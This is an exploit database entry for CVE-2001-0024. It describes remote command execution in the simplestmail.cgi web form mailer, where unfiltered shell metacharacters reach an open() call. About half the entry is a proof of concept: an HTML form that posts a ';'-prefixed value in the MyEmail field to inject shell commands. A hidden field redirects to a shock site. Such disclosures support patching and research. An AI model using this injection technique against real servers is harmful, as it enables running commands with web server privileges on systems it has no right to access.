Leif M. Wright simplestmail.cgi 1.0 - Remote Command Execution

Author: rpc
type: remote
platform: cgi
port: 
date_added: 2000-12-11 
date_updated: 2012-08-14 
verified: 1 
codes: CVE-2001-0024;OSVDB-13122 
tags: 
aliases:  
screenshot_url:  
application_url:

source: https://www.securityfocus.com/bid/2102/info

A vulnerabiliy exists in Leif M. Wright's simplestmail.cgi, a script designed to coordinate email responses from web forms.

An insecurely-structured call to the open() function leads to a failure to properly filter shell metacharacters from user supplied input. As a result, it is possible for an attacker to cause this script to execute arbitrary shell commands with the privilege of the webserver.

<html>
<form action="http://someplace/cgi-bin/simplestmail.cgi" method=POST>
Command: <input type=text name=MyEmail value=";">
<input type=hidden name=redirect value="http://goatse.cx">
<input type=submit name=submit value="run">
</form>
</html>